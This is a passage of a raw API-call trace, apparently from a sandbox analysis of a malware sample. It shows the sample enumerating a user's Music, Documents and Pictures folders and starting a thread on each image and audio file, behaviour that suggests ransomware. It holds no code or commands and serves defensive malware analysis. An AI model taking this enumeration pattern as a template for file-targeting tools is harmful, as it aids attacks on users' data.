HALPmcxz\\Music\\ZR-DZJxUB0tFZfADVB.mp3") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\ZR-DZJxUB0tFZfADVB.mp3" [0048.922] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x45e438, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x7a8 [0048.923] FindNextFileW (in: hFindFile=0x40a1a8, lpFindFileData=0x42e928 | out: lpFindFileData=0x42e928*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9a9a5df0, ftCreationTime.dwHighDateTime=0x1d4d396, ftLastAccessTime.dwLowDateTime=0xf63e20f0, ftLastAccessTime.dwHighDateTime=0x1d4cdf7, ftLastWriteTime.dwLowDateTime=0xf63e20f0, ftLastWriteTime.dwHighDateTime=0x1d4cdf7, nFileSizeHigh=0x0, nFileSizeLow=0xcd24, dwReserved0=0x0, dwReserved1=0x0, cFileName="ZR-DZJxUB0tFZfADVB.mp3", cAlternateFileName="ZR-DZJ~1.MP3")) returned 0 [0048.923] FindClose (in: hFindFile=0x40a1a8 | out: hFindFile=0x40a1a8) returned 1 [0048.923] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x42e928) returned 1 [0048.923] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4141a8) returned 1 [0048.923] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x444e10) returned 1 Thread: id = 181 os_tid = 0x640 [0046.283] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x5a) returned 0x446050 [0046.283] wcscpy (in: _Dest=0x446050, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\My Documents" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\My Documents") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\My Documents" [0046.283] wcscat (in: _Dest=0x446050, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\My Documents\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\My Documents\\" [0046.283] wcscat (in: _Dest=0x446050, _Source="*" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\My Documents\\*") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\My Documents\\*" [0046.283] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x42eb90 [0046.283] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\My Documents\\*", lpFindFileData=0x42eb90 | out: lpFindFileData=0x42eb90*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0046.283] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x42eb90) returned 1 [0046.283] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x446050) returned 1 [0046.283] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44a070) returned 1 Thread: id = 182 os_tid = 0x868 [0046.284] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x50) returned 0x414048 [0046.284] wcscpy (in: _Dest=0x414048, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\NetHood" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\NetHood") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\NetHood" [0046.284] wcscat (in: _Dest=0x414048, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\NetHood\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\NetHood\\" [0046.284] wcscat (in: _Dest=0x414048, _Source="*" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\NetHood\\*") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\NetHood\\*" [0046.284] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x42eb90 [0046.284] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\NetHood\\*", lpFindFileData=0x42eb90 | out: lpFindFileData=0x42eb90*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0046.284] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x42eb90) returned 1 [0046.284] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x414048) returned 1 [0046.284] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x414258) returned 1 Thread: id = 183 os_tid = 0x55c [0046.285] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x52) returned 0x44a070 [0046.285] wcscpy (in: _Dest=0x44a070, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures" [0046.285] wcscat (in: _Dest=0x44a070, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\" [0046.285] wcscat (in: _Dest=0x44a070, _Source="*" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\*") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\*" [0046.285] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x42eb90 [0046.285] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\*", lpFindFileData=0x42eb90 | out: lpFindFileData=0x42eb90*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x87ade980, ftLastAccessTime.dwHighDateTime=0x1d5945e, ftLastWriteTime.dwLowDateTime=0x87ade980, ftLastWriteTime.dwHighDateTime=0x1d5945e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x40a1e8 [0046.285] wcscmp (_String1=".", _String2=".") returned 0 [0046.285] FindNextFileW (in: hFindFile=0x40a1e8, lpFindFileData=0x42eb90 | out: lpFindFileData=0x42eb90*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x87ade980, ftLastAccessTime.dwHighDateTime=0x1d5945e, ftLastWriteTime.dwLowDateTime=0x87ade980, ftLastWriteTime.dwHighDateTime=0x1d5945e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0046.285] wcscmp (_String1="..", _String2=".") returned 1 [0046.286] wcscmp (_String1="..", _String2="..") returned 0 [0046.286] FindNextFileW (in: hFindFile=0x40a1e8, lpFindFileData=0x42eb90 | out: lpFindFileData=0x42eb90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb5989380, ftCreationTime.dwHighDateTime=0x1d4c8b8, ftLastAccessTime.dwLowDateTime=0x60837ed0, ftLastAccessTime.dwHighDateTime=0x1d4d0b7, ftLastWriteTime.dwLowDateTime=0x60837ed0, ftLastWriteTime.dwHighDateTime=0x1d4d0b7, nFileSizeHigh=0x0, nFileSizeLow=0x13f4a, dwReserved0=0x0, dwReserved1=0x0, cFileName="3Cdlp1-FExQKAHRHq.jpg", cAlternateFileName="3CDLP1~1.JPG")) returned 1 [0046.286] wcscmp (_String1="3Cdlp1-FExQKAHRHq.jpg", _String2=".") returned 1 [0046.286] wcscmp (_String1="3Cdlp1-FExQKAHRHq.jpg", _String2="..") returned 1 [0046.286] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x7a) returned 0x446e58 [0046.286] wcscpy (in: _Dest=0x446e58, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures" [0046.286] wcscat (in: _Dest=0x446e58, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\" [0046.286] wcscat (in: _Dest=0x446e58, _Source="3Cdlp1-FExQKAHRHq.jpg" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\3Cdlp1-FExQKAHRHq.jpg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\3Cdlp1-FExQKAHRHq.jpg" [0049.559] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x446e58, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x884 [0049.560] FindNextFileW (in: hFindFile=0x40a1e8, lpFindFileData=0x42eb90 | out: lpFindFileData=0x42eb90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50f95d30, ftCreationTime.dwHighDateTime=0x1d4cbd1, ftLastAccessTime.dwLowDateTime=0x64306430, ftLastAccessTime.dwHighDateTime=0x1d4d52b, ftLastWriteTime.dwLowDateTime=0x64306430, ftLastWriteTime.dwHighDateTime=0x1d4d52b, nFileSizeHigh=0x0, nFileSizeLow=0xf1e9, dwReserved0=0x0, dwReserved1=0x0, cFileName="8pPro7.bmp", cAlternateFileName="")) returned 1 [0049.560] wcscmp (_String1="8pPro7.bmp", _String2=".") returned 1 [0049.560] wcscmp (_String1="8pPro7.bmp", _String2="..") returned 1 [0049.560] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x64) returned 0x421348 [0049.560] wcscpy (in: _Dest=0x421348, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures" [0049.560] wcscat (in: _Dest=0x421348, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\" [0049.560] wcscat (in: _Dest=0x421348, _Source="8pPro7.bmp" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\8pPro7.bmp") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\8pPro7.bmp" [0049.560] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x421348, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x410 [0049.561] FindNextFileW (in: hFindFile=0x40a1e8, lpFindFileData=0x42eb90 | out: lpFindFileData=0x42eb90*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1bb180, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x1f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0049.561] wcscmp (_String1="desktop.ini", _String2=".") returned 1 [0049.561] wcscmp (_String1="desktop.ini", _String2="..") returned 1 [0049.561] FindNextFileW (in: hFindFile=0x40a1e8, lpFindFileData=0x42eb90 | out: lpFindFileData=0x42eb90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2e2504c0, ftCreationTime.dwHighDateTime=0x1d4cfe7, ftLastAccessTime.dwLowDateTime=0xf5ee29b0, ftLastAccessTime.dwHighDateTime=0x1d4d42d, ftLastWriteTime.dwLowDateTime=0xf5ee29b0, ftLastWriteTime.dwHighDateTime=0x1d4d42d, nFileSizeHigh=0x0, nFileSizeLow=0xb8e3, dwReserved0=0x0, dwReserved1=0x0, cFileName="EpS_5M2Urz0ffrss28OL.jpg", cAlternateFileName="EPS_5M~1.JPG")) returned 1 [0049.561] wcscmp (_String1="EpS_5M2Urz0ffrss28OL.jpg", _String2=".") returned 1 [0049.561] wcscmp (_String1="EpS_5M2Urz0ffrss28OL.jpg", _String2="..") returned 1 [0049.561] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x80) returned 0x447b18 [0049.561] wcscpy (in: _Dest=0x447b18, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures" [0049.561] wcscat (in: _Dest=0x447b18, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\" [0049.561] wcscat (in: _Dest=0x447b18, _Source="EpS_5M2Urz0ffrss28OL.jpg" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\EpS_5M2Urz0ffrss28OL.jpg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\EpS_5M2Urz0ffrss28OL.jpg" [0049.561] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x447b18, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x55c [0049.563] FindNextFileW (in: hFindFile=0x40a1e8, lpFindFileData=0x42eb90 | out: lpFindFileData=0x42eb90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3768d3b0, ftCreationTime.dwHighDateTime=0x1d4d215, ftLastAccessTime.dwLowDateTime=0x876902e0, ftLastAccessTime.dwHighDateTime=0x1d4cc16, ftLastWriteTime.dwLowDateTime=0x876902e0, ftLastWriteTime.dwHighDateTime=0x1d4cc16, nFileSizeHigh=0x0, nFileSizeLow=0x10874, dwReserved0=0x0, dwReserved1=0x0, cFileName="FNtB-G.jpg", cAlternateFileName="")) returned 1 [0049.563] wcscmp (_String1="FNtB-G.jpg", _String2=".") returned 1 [0049.563] wcscmp (_String1="FNtB-G.jpg", _String2="..") returned 1 [0049.563] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x64) returned 0x5e46f78 [0049.563] wcscpy (in: _Dest=0x5e46f78, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures" [0049.563] wcscat (in: _Dest=0x5e46f78, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\" [0049.563] wcscat (in: _Dest=0x5e46f78, _Source="FNtB-G.jpg" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\FNtB-G.jpg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\FNtB-G.jpg" [0049.563] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x5e46f78, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x660 [0049.564] FindNextFileW (in: hFindFile=0x40a1e8, lpFindFileData=0x42eb90 | out: lpFindFileData=0x42eb90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9b655820, ftCreationTime.dwHighDateTime=0x1d4cd8d, ftLastAccessTime.dwLowDateTime=0x73142860, ftLastAccessTime.dwHighDateTime=0x1d4c5f4, ftLastWriteTime.dwLowDateTime=0x73142860, ftLastWriteTime.dwHighDateTime=0x1d4c5f4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="GyqjI", cAlternateFileName="")) returned 1 [0049.564] wcscmp (_String1="GyqjI", _String2=".") returned 1 [0049.564] wcscmp (_String1="GyqjI", _String2="..") returned 1 [0049.564] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x5a) returned 0x445c40 [0049.564] wcscpy (in: _Dest=0x445c40, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures" [0049.564] wcscat (in: _Dest=0x445c40, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\" [0049.564] wcscat (in: _Dest=0x445c40, _Source="GyqjI" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\GyqjI") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\GyqjI" [0049.564] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x445c40, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x83c [0049.566] FindNextFileW (in: hFindFile=0x40a1e8, lpFindFileData=0x42eb90 | out: lpFindFileData=0x42eb90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x123280a0, ftCreationTime.dwHighDateTime=0x1d4cfef, ftLastAccessTime.dwLowDateTime=0xf355e5f0, ftLastAccessTime.dwHighDateTime=0x1d4c995, ftLastWriteTime.dwLowDateTime=0xf355e5f0, ftLastWriteTime.dwHighDateTime=0x1d4c995, nFileSizeHigh=0x0, nFileSizeLow=0x104ed, dwReserved0=0x0, dwReserved1=0x0, cFileName="jiE7JIAOH1Or4.jpg", cAlternateFileName="JIE7JI~1.JPG")) returned 1 [0049.566] wcscmp (_String1="jiE7JIAOH1Or4.jpg", _String2=".") returned 1 [0049.566] wcscmp (_String1="jiE7JIAOH1Or4.jpg", _String2="..") returned 1 [0049.566] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x72) returned 0x3ffd18 [0049.566] wcscpy (in: _Dest=0x3ffd18, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures" [0049.566] wcscat (in: _Dest=0x3ffd18, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\" [0049.566] wcscat (in: _Dest=0x3ffd18, _Source="jiE7JIAOH1Or4.jpg" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\jiE7JIAOH1Or4.jpg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\jiE7JIAOH1Or4.jpg" [0049.566] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x3ffd18, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3e0 [0049.567] FindNextFileW (in: hFindFile=0x40a1e8, lpFindFileData=0x42eb90 | out: lpFindFileData=0x42eb90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6339b50, ftCreationTime.dwHighDateTime=0x1d4d44e, ftLastAccessTime.dwLowDateTime=0x774a2390, ftLastAccessTime.dwHighDateTime=0x1d4d4df, ftLastWriteTime.dwLowDateTime=0x774a2390, ftLastWriteTime.dwHighDateTime=0x1d4d4df, nFileSizeHigh=0x0, nFileSizeLow=0x4ab9, dwReserved0=0x0, dwReserved1=0x0, cFileName="m3fR.jpg", cAlternateFileName="")) returned 1 [0049.567] wcscmp (_String1="m3fR.jpg", _String2=".") returned 1 [0049.567] wcscmp (_String1="m3fR.jpg", _String2="..") returned 1 [0049.567] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x60) returned 0x445fe8 [0049.567] wcscpy (in: _Dest=0x445fe8, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures" [0049.567] wcscat (in: _Dest=0x445fe8, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\" [0049.567] wcscat (in: _Dest=0x445fe8, _Source="m3fR.jpg" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\m3fR.jpg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\m3fR.jpg" [0049.567] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x445fe8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x834 [0049.568] FindNextFileW (in: hFindFile=0x40a1e8, lpFindFileData=0x42eb90 | out: lpFindFileData=0x42eb90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb4e73ea0, ftCreationTime.dwHighDateTime=0x1d4cc0a, ftLastAccessTime.dwLowDateTime=0xb2b54cb0, ftLastAccessTime.dwHighDateTime=0x1d4cd79, ftLastWriteTime.dwLowDateTime=0xb2b54cb0, ftLastWriteTime.dwHighDateTime=0x1d4cd79, nFileSizeHigh=0x0, nFileSizeLow=0x142b7, dwReserved0=0x0, dwReserved1=0x0, cFileName="PTQA8n6SpjchEG.bmp", cAlternateFileName="PTQA8N~1.BMP")) returned 1 [0049.568] wcscmp (_String1="PTQA8n6SpjchEG.bmp", _String2=".") returned 1 [0049.568] wcscmp (_String1="PTQA8n6SpjchEG.bmp", _String2="..") returned 1 [0049.568] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x74) returned 0x400798 [0049.569] wcscpy (in: _Dest=0x400798, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures" [0049.569] wcscat (in: _Dest=0x400798, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\" [0049.569] wcscat (in: _Dest=0x400798, _Source="PTQA8n6SpjchEG.bmp" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\PTQA8n6SpjchEG.bmp") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\PTQA8n6SpjchEG.bmp" [0049.569] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x400798, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x828 [0049.576] FindNextFileW (in: hFindFile=0x40a1e8, lpFindFileData=0x42eb90 | out: lpFindFileData=0x42eb90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4aed5a60, ftCreationTime.dwHighDateTime=0x1d4d02a, ftLastAccessTime.dwLowDateTime=0x37dee7d0, ftLastAccessTime.dwHighDateTime=0x1d4d567, ftLastWriteTime.dwLowDateTime=0x37dee7d0, ftLastWriteTime.dwHighDateTime=0x1d4d567, nFileSizeHigh=0x0, nFileSizeLow=0x56da, dwReserved0=0x0, dwReserved1=0x0, cFileName="s dGf.png", cAlternateFileName="SDGF~1.PNG")) returned 1 [0049.576] wcscmp (_String1="s dGf.png", _String2=".") returned 1 [0049.576] wcscmp (_String1="s dGf.png", _String2="..") returned 1 [0049.576] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x62) returned 0x5e46fe8 [0049.576] wcscpy (in: _Dest=0x5e46fe8, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures" [0049.576] wcscat (in: _Dest=0x5e46fe8, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\" [0049.576] wcscat (in: _Dest=0x5e46fe8, _Source="s dGf.png" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\s dGf.png") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\s dGf.png" [0049.576] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x5e46fe8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x824 [0049.578] FindNextFileW (in: hFindFile=0x40a1e8, lpFindFileData=0x42eb90 | out: lpFindFileData=0x42eb90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9095dd60, ftCreationTime.dwHighDateTime=0x1d4c870, ftLastAccessTime.dwLowDateTime=0x570957f0, ftLastAccessTime.dwHighDateTime=0x1d4d24a, ftLastWriteTime.dwLowDateTime=0x570957f0, ftLastWriteTime.dwHighDateTime=0x1d4d24a, nFileSizeHigh=0x0, nFileSizeLow=0x2861, dwReserved0=0x0, dwReserved1=0x0, cFileName="wHK1.bmp", cAlternateFileName="")) returned 1 [0049.578] wcscmp (_String1="wHK1.bmp", _String2=".") returned 1 [0049.578] wcscmp (_String1="wHK1.bmp", _String2="..") returned 1 [0049.578] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x60) returned 0x48d0b0 [0049.578] wcscpy (in: _Dest=0x48d0b0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures" [0049.578] wcscat (in: _Dest=0x48d0b0, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\" [0049.578] wcscat (in: _Dest=0x48d0b0, _Source="wHK1.bmp" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\wHK1.bmp") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\wHK1.bmp" [0049.578] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x48d0b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x510 [0049.579] FindNextFileW (in: hFindFile=0x40a1e8, lpFindFileData=0x42eb90 | out: lpFindFileData=0x42eb90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x339768d0, ftCreationTime.dwHighDateTime=0x1d4d032, ftLastAccessTime.dwLowDateTime=0x91887c00, ftLastAccessTime.dwHighDateTime=0x1d4cca8, ftLastWriteTime.dwLowDateTime=0x91887c00, ftLastWriteTime.dwHighDateTime=0x1d4cca8, nFileSizeHigh=0x0, nFileSizeLow=0x72d7, dwReserved0=0x0, dwReserved1=0x0, cFileName="x3L7dAtCYcnatbA.gif", cAlternateFileName="X3L7DA~1.GIF")) returned 1 [0049.579] wcscmp (_String1="x3L7dAtCYcnatbA.gif", _String2=".") returned 1 [0049.579] wcscmp (_String1="x3L7dAtCYcnatbA.gif", _String2="..") returned 1 [0049.579] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x76) returned 0x45e7b8 [0049.579] wcscpy (in: _Dest=0x45e7b8, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures" [0049.579] wcscat (in: _Dest=0x45e7b8, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\" [0049.579] wcscat (in: _Dest=0x45e7b8, _Source="x3L7dAtCYcnatbA.gif" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\x3L7dAtCYcnatbA.gif") returned="C:\\Users\\5p5NrGJn0jS 